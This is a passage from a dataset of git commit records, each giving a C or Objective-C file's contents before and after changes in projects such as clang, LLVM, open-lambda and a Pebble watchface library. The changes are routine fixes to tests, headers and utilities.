lavvb\/tensorflow,brchiu\/tensorflow,alivecor\/tensorflow,jwlawson\/tensorflow,manjunaths\/tensorflow,manazhao\/tf_recsys,manazhao\/tf_recsys,vrv\/tensorflow,nanditav\/15712-TensorFlow,sarvex\/tensorflow,vrv\/tensorflow,aselle\/tensorflow,ppwwyyxx\/tensorflow,code-sauce\/tensorflow,ghchinoy\/tensorflow,karllessard\/tensorflow,drpngx\/tensorflow,kobejean\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,manazhao\/tf_recsys,guschmue\/tensorflow,juharris\/tensorflow,whn09\/tensorflow,tntnatbry\/tensorflow,lukeiwanski\/tensorflow,DCSaunders\/tensorflow,meteorcloudy\/tensorflow,jbedorf\/tensorflow,ageron\/tensorflow,Intel-tensorflow\/tensorflow,neilhan\/tensorflow,Carmezim\/tensorflow,ishay2b\/tensorflow,yanchen036\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,asadziach\/tensorflow,tornadozou\/tensorflow,meteorcloudy\/tensorflow,yanchen036\/tensorflow,laosiaudi\/tensorflow,RapidApplicationDevelopment\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yaroslavvb\/tensorflow,jeffzheng1\/tensorflow,AnishShah\/tensorflow,ageron\/tensorflow,gnieboer\/tensorflow,theflofly\/tensorflow,DavidNorman\/tensorflow,chris-chris\/tensorflow,dancingdan\/tensorflow,mortada\/tensorflow,Bismarrck\/tensorflow,mrry\/tensorflow,pavelchristof\/gomoku-ai,tiagofrepereira2012\/tensorflow,tensorflow\/tensorflow,johndpope\/tensorflow,av8ramit\/tensorflow,JingJunYin\/tensorflow,SnakeJenny\/TensorFlow,calebfoss\/tensorflow,eaplatanios\/tensorflow,seanli9jan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,mdrumond\/tensorflow,maciekcc\/tensorflow,XueqingLin\/tensorflow,raymondxyang\/tensorflow,xzturn\/tensorflow,adit-chandra\/tensorflow,Kongsea\/tensorflow,jeffzheng1\/tensorflow,theflofly\/tensorflow,caisq\/tensorflow,nburn42\/tensorflow,tiagofrepereira2012\/tensorflow,Moriadry\/tensorflow,jhaux\/tensorflow,rdipietro\/tensorflow,chemelnucfin\/tensorflow,krikru\/tensorflow-opencl,benoitsteiner\/tensorflow-opencl,jalexvig\/tensorflow,petewarden\/tensorflow,asimshankar\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,theflofly\/tensorflow,cancan101\/tensorflow,lukeiwanski\/tensorflow-opencl,AndreasMadsen\/tensorflow,taknevski\/tensorflow-xsmm,girving\/tensorflow,abhitopia\/tensorflow,gibiansky\/tensorflow,tornadozou\/tensorflow,tongwang01\/tensorflow,gunan\/tensorflow,thesuperzapper\/tensorflow,ageron\/tensorflow,kevin-coder\/tensorflow-fork,alshedivat\/tensorflow,seanli9jan\/tensorflow,yongtang\/tensorflow,ychfan\/tensorflow,davidzchen\/tensorflow,jeffzheng1\/tensorflow,seanli9jan\/tensorflow,Moriadry\/tensorflow,benoitsteiner\/tensorflow,davidzchen\/tensorflow,Kongsea\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,krikru\/tensorflow-opencl,handroissuazo\/tensorflow,seaotterman\/tensorflow,Intel-tensorflow\/tensorflow,meteorcloudy\/tensorflow,manipopopo\/tensorflow,paolodedios\/tensorflow,adamtiger\/tensorflow,nolanliou\/tensorflow,benoitsteiner\/tensorflow,rabipanda\/tensorflow,admcrae\/tensorflow,freedomtan\/tensorflow,dancingdan\/tensorflow,sjperkins\/tensorflow,benoitsteiner\/tensorflow-xsmm,jhseu\/tensorflow,benoitsteiner\/tensorflow-opencl,MycChiu\/tensorflow,mrry\/tensorflow,zycdragonball\/tensorflow,tomasreimers\/tensorflow-emscripten,rabipanda\/tensorflow,dendisuhubdy\/tensorflow,eadgarchen\/tensorflow,DCSaunders\/tensorflow,Carmezim\/tensorflow,ravindrapanda\/tensorflow,drpngx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,alheinecke\/tensorflow-xsmm,scenarios\/tensorflow,jhaux\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,llhe\/tensorflow,cg31\/tensorflow,dendisuhubdy\/tensorflow,kevin-coder\/tensorflow-fork,code-sauce\/tensorflow,tensorflow\/tensorflow,DavidNorman\/tensorflow,maciekcc\/tensorflow,pcm17\/tensorflow,asimshankar\/tensorflow,ville-k\/tensorflow,alheinecke\/tensorflow-xsmm,ArtsiomCh\/tensorflow,whn09\/tensorflow,adamtiger\/tensorflow,cg31\/tensorflow,paolodedios\/tensorflow,markslwong\/tensorflow,elingg\/tensorflow,yanchen036\/tensorflow,jhaux\/tensorflow,raymondxyang\/tensorflow,hsaputra\/tensorflow,theflofly\/tensorflow,apark263\/tensorflow,renyi533\/tensorflow,jart\/tensorflow,gnieboer\/tensorflow,alivecor\/tensorflow,cxxgtxy\/tensorflow,chenjun0210\/tensorflow,jbedorf\/tensorflow,karllessard\/tensorflow,HKUST-SING\/tensorflow,JingJunYin\/tensorflow,DavidNorman\/tensorflow,adamtiger\/tensorflow,alivecor\/tensorflow,thesuperzapper\/tensorflow,girving\/tensorflow,hfp\/tensorflow-xsmm,ppries\/tensorflow,renyi533\/tensorflow,guschmue\/tensorflow,MycChiu\/tensorflow,eaplatanios\/tensorflow,mortada\/tensorflow,kobejean\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,zasdfgbnm\/tensorflow,asadziach\/tensorflow,drpngx\/tensorflow,scenarios\/tensorflow,av8ramit\/tensorflow,hsaputra\/tensorflow,haeusser\/tensorflow,alsrgv\/tensorflow,freedomtan\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,rabipanda\/tensorflow,sandeepdsouza93\/TensorFlow-15712,apark263\/tensorflow,taknevski\/tensorflow-xsmm,MoamerEncsConcordiaCa\/tensorflow,gunan\/tensorflow,lukeiwanski\/tensorflow,gautam1858\/tensorflow,vrv\/tensorflow,lukeiwanski\/tensorflow,admcrae\/tensorflow,unsiloai\/syntaxnet-ops-hack,manipopopo\/tensorflow,markslwong\/tensorflow,SnakeJenny\/TensorFlow,ArtsiomCh\/tensorflow,annarev\/tensorflow,maciekcc\/tensorflow,ArtsiomCh\/tensorflow,hsaputra\/tensorflow,alsrgv\/tensorflow,alivecor\/tensorflow,tornadozou\/tensorflow,asimshankar\/tensorflow,yongtang\/tensorflow,tomasreimers\/tensorflow-emscripten,guschmue\/tensorflow,mixturemodel-flow\/tensorflow,nolanliou\/tensorflow,tntnatbry\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tillahoffmann\/tensorflow,Mazecreator\/tensorflow,Bulochkin\/tensorflow_pack,jhseu\/tensorflow,alheinecke\/tensorflow-xsmm,unsiloai\/syntaxnet-ops-hack,AnishShah\/tensorflow,jbedorf\/tensorflow,ppries\/tensorflow,zasdfgbnm\/tensorflow,jendap\/tensorflow,xodus7\/tensorflow,rdipietro\/tensorflow,scenarios\/tensorflow,kevin-coder\/tensorflow-fork,Kongsea\/tensorflow,nanditav\/15712-TensorFlow,tiagofrepereira2012\/tensorflow,ishay2b\/tensorflow,gnieboer\/tensorflow,jhseu\/tensorflow,annarev\/tensorflow,alistairlow\/tensorflow,benoitsteiner\/tensorflow,suiyuan2009\/tensorflow,DavidNorman\/tensorflow,ville-k\/tensorflow,chemelnucfin\/tensorflow,elingg\/tensorflow,llhe\/tensorflow,AndreasMadsen\/tensorflow,petewarden\/tensorflow,xodus7\/tensorflow,jbedorf\/tensorflow,ville-k\/tensorflow,theflofly\/tensorflow,gojira\/tensorflow,gibiansky\/tensorflow,ville-k\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Bismarrck\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,haeusser\/tensorflow,aldian\/tensorflow,tntnatbry\/tensorflow,allenlavoie\/tensorflow,AndreasMadsen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,raymondxyang\/tensorflow,asimshankar\/tensorflow,sarvex\/tensorflow,petewarden\/tensorflow,elingg\/tensorflow,jendap\/tensorflow,odejesush\/tensorflow,jwlawson\/tensorflow,gibiansky\/tensorflow,dendisuhubdy\/tensorflow,ibmsoe\/tensorflow,tiagofrepereira2012\/tensorflow,jhseu\/tensorflow,tntnatbry\/tensorflow,tornadozou\/tensorflow,rabipanda\/tensorflow,aldian\/tensorflow,ppries\/tensorflow,alshedivat\/tensorflow,yongtang\/tensorflow,seanli9jan\/tensorflow,memo\/tensorflow,alshedivat\/tensorflow,Carmezim\/tensorflow,asadziach\/tensorflow,naturali\/tensorflow,sandeepgupta2k4\/tensorflow,benoitsteiner\/tensorflow-xsmm,ZhangXinNan\/tensorflow,mdrumond\/tensorflow,manipopopo\/tensorflow,thesuperzapper\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,manjunaths\/tensorflow,hsaputra\/tensorflow,xzturn\/tensorflow,sjperkins\/tensorflow,calebfoss\/tensorflow,pierreg\/tensorflow,davidzchen\/tensorflow,cg31\/tensorflow,jalexvig\/tensorflow,with-git\/tensorflow,suiyuan2009\/tensorflow,paolodedios\/tensorflow,mortada\/tensorflow,Mistobaan\/tensorflow,RapidApplicationDevelopment\/tensorflow,sjperkins\/tensorflow,annarev\/tensorflow,MycChiu\/tensorflow,Mazecreator\/tensorflow,LUTAN\/tensorflow,ppries\/tensorflow,elingg\/tensorflow,unsiloai\/syntaxnet-ops-hack,tornadozou\/tensorflow,Bulochkin\/tensorflow_pack,ran5515\/DeepDecision,Mistobaan\/tensorflow,alshedivat\/tensorflow,caisq\/tensorflow,gojira\/tensorflow,ArtsiomCh\/tensorflow,dendisuhubdy\/tensorflow,krikru\/tensorflow-opencl,meteorcloudy\/tensorflow,dyoung418\/tensorflow,dancingdan\/tensorflow,aldian\/tensorflow,adit-chandra\/tensorflow,manipopopo\/tensorflow,kevin-coder\/tensorflow-fork,alivecor\/tensorflow,jalexvig\/tensorflow,meteorcloudy\/tensorflow,taknevski\/tensorflow-xsmm,kchodorow\/tensorflow,andrewcmyers\/tensorflow,meteorcloudy\/tensorflow,chenjun0210\/tensorflow,alheinecke\/tensorflow-xsmm,mdrumond\/tensorflow,guschmue\/tensorflow,zasdfgbnm\/tensorflow,Mistobaan\/tensorflow,brchiu\/tensorflow,horance-liu\/tensorflow,seanli9jan\/tensorflow,neilhan\/tensorflow,tongwang01\/tensorflow,thjashin\/tensorflow,Mistobaan\/tensorflow,pierreg\/tensorflow,paolodedios\/tensorflow,sandeepdsouza93\/TensorFlow-15712,nightjean\/Deep-Learning,benoitsteiner\/tensorflow,AndreasMadsen\/tensorflow,haeusser\/tensorflow,tomasreimers\/tensorflow-emscripten,thesuperzapper\/tensorflow,pierreg\/tensorflow,eaplatanios\/tensorflow,LUTAN\/tensorflow,xodus7\/tensorflow,MycChiu\/tensorflow,pavelchristof\/gomoku-ai,seaotterman\/tensorflow,pcm17\/tensorflow,ghchinoy\/tensorflow,tiagofrepereira2012\/tensorflow,gautam1858\/tensorflow,mengxn\/tensorflow,nanditav\/15712-TensorFlow,tornadozou\/tensorflow,alistairlow\/tensorflow,jalexvig\/tensorflow,frreiss\/tensorflow-fred,seaotterman\/tensorflow,manipopopo\/tensorflow,XueqingLin\/tensorflow,sarvex\/tensorflow,petewarden\/tensorflow,jhaux\/tensorflow,petewarden\/tensorflow,xodus7\/tensorflow,rdipietro\/tensorflow,gnieboer\/tensorflow,XueqingLin\/tensorflow,codrut3\/tensorflow,jart\/tensorflow,thesuperzapper\/tensorflow,allenlavoie\/tensorflow,raymondxyang\/tensorflow,tomasreimers\/tensorflow-emscripten,hehongliang\/tensorflow,nightjean\/Deep-Learning,gojira\/tensorflow,tomasreimers\/tensorflow-emscripten,jeffzheng1\/tensorflow,av8ramit\/tensorflow,cxxgtxy\/tensorflow,jart\/tensorflow,dongjoon-hyun\/tensorflow,tillahoffmann\/tensorflow,ZhangXinNan\/tensorflow"}
{"commit":"64df4991a93471c2862c2371c33cf30e55769f06","old_file":"test\/Misc\/win32-macho.c","new_file":"test\/Misc\/win32-macho.c","old_contents":"\/\/ Check that basic use of win32-macho targets works.\n\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang -fsyntax-only -target x86_64-pc-win32-macho %s -o \/dev\/null\n","new_contents":"\/\/ Check that basic use of win32-macho targets works.\n\/\/ RUN: %clang -fsyntax-only -target x86_64-pc-win32-macho %s\n","subject":"Remove dev\/null redirect and x86 backend requirement from new test.","message":"Remove dev\/null redirect and x86 backend requirement from new test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@210699 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"5ef6857a7292ccdc72bc62742ab1f92fe459ed17","old_file":"exercise102.c","new_file":"exercise102.c","old_contents":"","new_contents":"\/* Experiment to find out what happened when printf's argument string contains\n * \\c, where c is some character not listed above.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  printf(\"\\\\a produces an audible or visual alert: \\a\\n\");\n  printf(\"\\\\f produces a formfeed: \\f\\n\");\n  printf(\"\\\\r produces a carriage return: \\rlololol\\n\");\n  printf(\"\\\\v produces a vertical tab: \\t\\n\");\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-2.","message":"Add solution to Exercise 1-2.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"cc6b6b934894ae141bd5cdf3ddffc60e48f554af","old_file":"test\/FrontendC\/2010-05-18-palignr.c","new_file":"test\/FrontendC\/2010-05-18-palignr.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -mssse3 -S -o - %s | llc -mtriple=x86_64-apple-darwin | FileCheck %s\n\n#include <tmmintrin.h>\n\nint main ()\n{\n#if defined( __SSSE3__ )\n\n#define vec_rld_epi16( _a, _i )  ({ vSInt16 _t = _a; _t = _mm_alignr_epi8( _t, _t, _i ); \/*return*\/ _t; })\n  typedef int16_t     vSInt16         __attribute__ ((__vector_size__ (16)));\n\n  short   dtbl[] = {1,2,3,4,5,6,7,8};\n  vSInt16 *vdtbl = (vSInt16*) dtbl;\n\n  vSInt16 v0;\n  v0 = *vdtbl;\n  \/\/ CHECK: pshufd  $57\n  v0 = vec_rld_epi16( v0, 4 );\n\n  return 0;\n#endif\n}\n","subject":"Add a test to make sure that we're lowering the shift amount correctly.","message":"Add a test to make sure that we're lowering the shift amount correctly.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@104090 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm"}
{"commit":"65b68f641e684cedbd25bc7bceb33af21d534b87","old_file":"pipbench\/server\/load_simulator.c","new_file":"pipbench\/server\/load_simulator.c","old_contents":"#include <Python.h>\n\nstatic PyObject *\nsimulate_install(PyObject *self, PyObject *args) {\n    long cpu_units;\n    long mem_bytes;\n\n    if (!PyArg_ParseTuple(args, \"LL\", &cpu_units, &mem_bytes)) {\n        return NULL;\n    }\n\n    char *p;\n    p = (char *) malloc(mem_bytes);\n\n    int j = 0;\n    for (long i = 0; i < cpu_units; i++) {\n        j++;\n    }\n\n    free(p);\n    return Py_BuildValue(\"i\", 0);\n}\n\nstatic PyObject *\nsimulate_import(PyObject *self, PyObject *args) {\n    long cpu_units;\n    long mem_bytes;\n\n    if (!PyArg_ParseTuple(args, \"LL\", &cpu_units, &mem_bytes)) {\n        return NULL;\n    }\n\n    int j = 0;\n    for (long i = 0; i < cpu_units; i++) {\n        j++;\n    }\n    PyObject * p = (PyObject *) PyMem_Malloc(mem_bytes);\n    return p;\n}\n\nstatic PyMethodDef LoadSimulatorMethods[] =\n{\n    {\"simulate_install\", simulate_install, METH_VARARGS, \"simulate install\"},\n    {\"simulate_import\", simulate_import, METH_VARARGS, \"simulate import\"},\n    { NULL, NULL, 0, NULL }\n};\n\nPyMODINIT_FUNC\ninitload_simulator(void)\n{\n    (void) Py_InitModule(\"load_simulator\", LoadSimulatorMethods);\n}\n\n","new_contents":"#include <Python.h>\n\nstatic PyObject *\nsimulate_install(PyObject *self, PyObject *args) {\n    long cpu_units;\n    long mem_bytes;\n\n    if (!PyArg_ParseTuple(args, \"LL\", &cpu_units, &mem_bytes)) {\n        return NULL;\n    }\n\n    char *p;\n    p = (char *) malloc(mem_bytes);\n\n    int j = 0;\n    for (long i = 0; i < cpu_units; i++) {\n        j++;\n    }\n\n    free(p);\n    return Py_BuildValue(\"i\", 0);\n}\n\nstatic PyObject *\nsimulate_import(PyObject *self, PyObject *args) {\n    long cpu_units;\n    long mem_bytes;\n\n    if (!PyArg_ParseTuple(args, \"LL\", &cpu_units, &mem_bytes)) {\n        return NULL;\n    }\n\n    int j = 0;\n    for (long i = 0; i < cpu_units; i++) {\n        j++;\n    }\n    char * p = malloc(mem_bytes);\n    return Py_BuildValue(\"s#\", p, mem_bytes);\n}\n\nstatic PyMethodDef LoadSimulatorMethods[] =\n{\n    {\"simulate_install\", simulate_install, METH_VARARGS, \"simulate install\"},\n    {\"simulate_import\", simulate_import, METH_VARARGS, \"simulate import\"},\n    { NULL, NULL, 0, NULL }\n};\n\nPyMODINIT_FUNC\ninitload_simulator(void)\n{\n    (void) Py_InitModule(\"load_simulator\", LoadSimulatorMethods);\n}\n\n","subject":"Fix invalid heap issues with load simulator","message":"Fix invalid heap issues with load simulator\n","lang":"C","license":"apache-2.0","repos":"open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda"}
{"commit":"80b24802591a38395110fc9e706c0456a614604c","old_file":"Sources\/BCRectUtilities.h","new_file":"Sources\/BCRectUtilities.h","old_contents":"","new_contents":"\/\/\n\/\/  BCRectUtilities.h\n\/\/  MBTI\n\/\/\n\/\/  Created by Seth Kingsley on 9\/12\/12.\n\/\/  Copyright (c) 2012 Bushido Coding. All rights reserved.\n\/\/\n\n#import \"BCMacros.h\"\n\nstatic inline __attribute__((const)) CGRect\nBCRectAspectFit(CGRect containerRect, CGSize contentSize)\n{\n\tif (contentSize.width == 0)\n\t\tcontentSize.width = 1;\n\tCGFloat contentAspect = contentSize.height \/ contentSize.width;\n\tif (CGRectGetWidth(containerRect) == 0)\n\t\tcontainerRect.size.width = 1;\n\tCGFloat containerAspect = CGRectGetHeight(containerRect) \/ CGRectGetWidth(containerRect);\n\tCGRect scaledRect;\n\tif (contentAspect >= containerAspect)\n\t{\n\t\tCGFloat scaledWidth = roundf(CGRectGetHeight(containerRect) * contentAspect);\n\t\tCGFloat xOffset = roundf((CGRectGetWidth(containerRect) - scaledWidth) \/ 2);\n\t\tscaledRect = CGRectMake(CGRectGetMinX(containerRect) + xOffset, CGRectGetMinY(containerRect),\n\t\t\t\t\t\t\t\tscaledWidth, CGRectGetHeight(containerRect));\n\t}\n\telse\n\t{\n\t\tCGFloat scaledHeight = roundf(CGRectGetWidth(containerRect) \/ contentAspect);\n\t\tCGFloat yOffset = roundf((CGRectGetHeight(containerRect) - scaledHeight) \/ 2);\n\t\tscaledRect = CGRectMake(CGRectGetMinX(containerRect), CGRectGetMinY(containerRect) + yOffset,\n\t\t\t\t\t\t\t\tCGRectGetWidth(containerRect), scaledHeight);\n\t}\n\tPOSTCONDITION_C(CGRectContainsRect(containerRect, scaledRect));\n\tPOSTCONDITION_C(CGRectEqualToRect(scaledRect, CGRectIntegral(scaledRect)));\n\tPOSTCONDITION_C((contentSize.height \/ contentSize.width) ==\n\t\t\t\t\t(CGRectGetHeight(scaledRect) \/ CGRectGetWidth(scaledRect)));\n\treturn scaledRect;\n}\n\n","subject":"Add a utility method for aspect fill layouts (incomplete).","message":"Add a utility method for aspect fill layouts (incomplete).\n","lang":"C","license":"bsd-3-clause","repos":"sethk\/BushidoCore"}
{"commit":"6871d2950ed49360b01aa83960689fc85e82ee24","old_file":"LYCategory\/_Foundation\/_Work\/NSString+Input.h","new_file":"LYCategory\/_Foundation\/_Work\/NSString+Input.h","old_contents":"\/\/\n\/\/  NSString+Input.h\n\/\/  LYCategory\n\/\/\n\/\/  Created by Rick Luo on 11\/25\/13.\n\/\/  Copyright (c) 2013 Luo Yu. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (Input)\n\n#pragma mark EMPTY\n\n- (BOOL)isEmpty;\n\n#pragma mark EMAIL\n\n- (BOOL)isEmail;\n\n#pragma mark SPACE\n\n- (NSString *)trimStartSpace;\n\n- (NSString *)trimSpace;\n\n#pragma mark PHONE NUMBER\n\n- (NSString *)phoneNumber;\n\n- (BOOL)isPhoneNumber;\n\n#pragma mark EMOJI\n\n- (NSString *)replaceEmojiTextWithUnicode;\n\n- (NSString *)replaceEmojiUnicodeWithText;\n\n@end\n","new_contents":"\/\/\n\/\/  NSString+Input.h\n\/\/  LYCategory\n\/\/\n\/\/  Created by Rick Luo on 11\/25\/13.\n\/\/  Copyright (c) 2013 Luo Yu. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (Input)\n\n#pragma mark EMPTY\n\n- (BOOL)isEmpty;\n\n#pragma mark EMAIL\n\n- (BOOL)isEmail;\n\n#pragma mark ID\n\n- (BOOL)isIDNumber;\n\n#pragma mark SPACE\n\n- (NSString *)trimStartSpace;\n\n- (NSString *)trimSpace;\n\n#pragma mark PHONE NUMBER\n\n- (NSString *)phoneNumber;\n\n- (BOOL)isPhoneNumber;\n\n#pragma mark EMOJI\n\n- (NSString *)replaceEmojiTextWithUnicode;\n\n- (NSString *)replaceEmojiUnicodeWithText;\n\n@end\n","subject":"Add : id number validation","message":"Add : id number validation\n","lang":"C","license":"mit","repos":"blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory"}
{"commit":"eb4808438d0feb7a25fc393da69dd8132ebed48c","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic boost::variant<bool, SerializedTask> get(TaskId);\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& getInstance();\n\tbool isServing = false;\n\tstd::deque<IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic boost::variant<bool, SerializedTask> get(TaskId);\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& getInstance();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Update reference to IOperation to include Internal namespace","message":"Update reference to IOperation to include Internal namespace\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"bab54887404e9f7d4fc68ce2e41ad6bae8035f55","old_file":"parser_tests.c","new_file":"parser_tests.c","old_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.number = number;\n    } else {\n        tk->value.string = string;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    tkl.append(make_token(tok_number, NULL, 0.0, 42);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tkl->head);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n}\n","new_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.num = number;\n    } else {\n        tk->value.string = str;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    tkl.append(make_token(tok_number, NULL, 0.0, 42);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tkl->head);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n}\n","subject":"Fix typo in parser tests","message":"Fix typo in parser tests\n","lang":"C","license":"mit","repos":"iankronquist\/yaz,iankronquist\/yaz"}
{"commit":"244047b32d720d65be0b5ef0c832ae16acf8c26c","old_file":"src\/effect_layer.h","new_file":"src\/effect_layer.h","old_contents":"#pragma once\n#include <pebble.h>  \n#include \"effects.h\"\n  \n\/\/number of supported effects on a single effect_layer (must be <= 255)\n#define MAX_EFFECTS 4\n  \n\/\/ structure of effect layer\ntypedef struct {\n  Layer*      layer;\n  effect_cb*  effects[MAX_EFFECTS];\n  void*       params[MAX_EFFECTS];\n  uint8_t     next_effect;\n} EffectLayer;\n\n\n\/\/creates effect layer\nEffectLayer* effect_layer_create(GRect frame);\n\n\/\/destroys effect layer\nvoid effect_layer_destroy(EffectLayer *effect_layer);\n\n\/\/sets effect for the layer\nvoid effect_layer_add_effect(EffectLayer *effect_layer, effect_cb* effect, void* param);\n\n\/\/gets layer\nLayer* effect_layer_get_layer(EffectLayer *effect_layer);","new_contents":"#pragma once\n#include <pebble.h>  \n#include \"effects.h\"\n  \n\/\/number of supported effects on a single effect_layer (must be <= 255)\n#define MAX_EFFECTS 4\n  \n\/\/ structure of effect layer\ntypedef struct {\n  Layer*      layer;\n  effect_cb*  effects[MAX_EFFECTS];\n  void*       params[MAX_EFFECTS];\n  uint8_t     next_effect;\n} EffectLayer;\n\n\n\/\/creates effect layer\nEffectLayer* effect_layer_create(GRect frame);\n\n\/\/destroys effect layer\nvoid effect_layer_destroy(EffectLayer *effect_layer);\n\n\/\/sets effect for the layer\nvoid effect_layer_add_effect(EffectLayer *effect_layer, effect_cb* effect, void* param);\n\n\/\/gets layer\nLayer* effect_layer_get_layer(EffectLayer *effect_layer);\n\n\/\/ Recreate inverter_layer for BASALT\n#ifndef PBL_PLATFORM_APLITE\n  #define InverterLayer EffectLayer\n  #define inverter_layer_create(frame)({ EffectLayer* _el=effect_layer_create(frame); effect_layer_add_effect(_el,effect_invert,NULL);_el; })\n  #define inverter_layer_get_layer effect_layer_get_layer\n  #define inverter_layer_destroy effect_layer_destroy\n#endif","subject":"Add a few macros to support InverterLayer on BASALT","message":"Add a few macros to support InverterLayer on BASALT\n\nRe-add support for 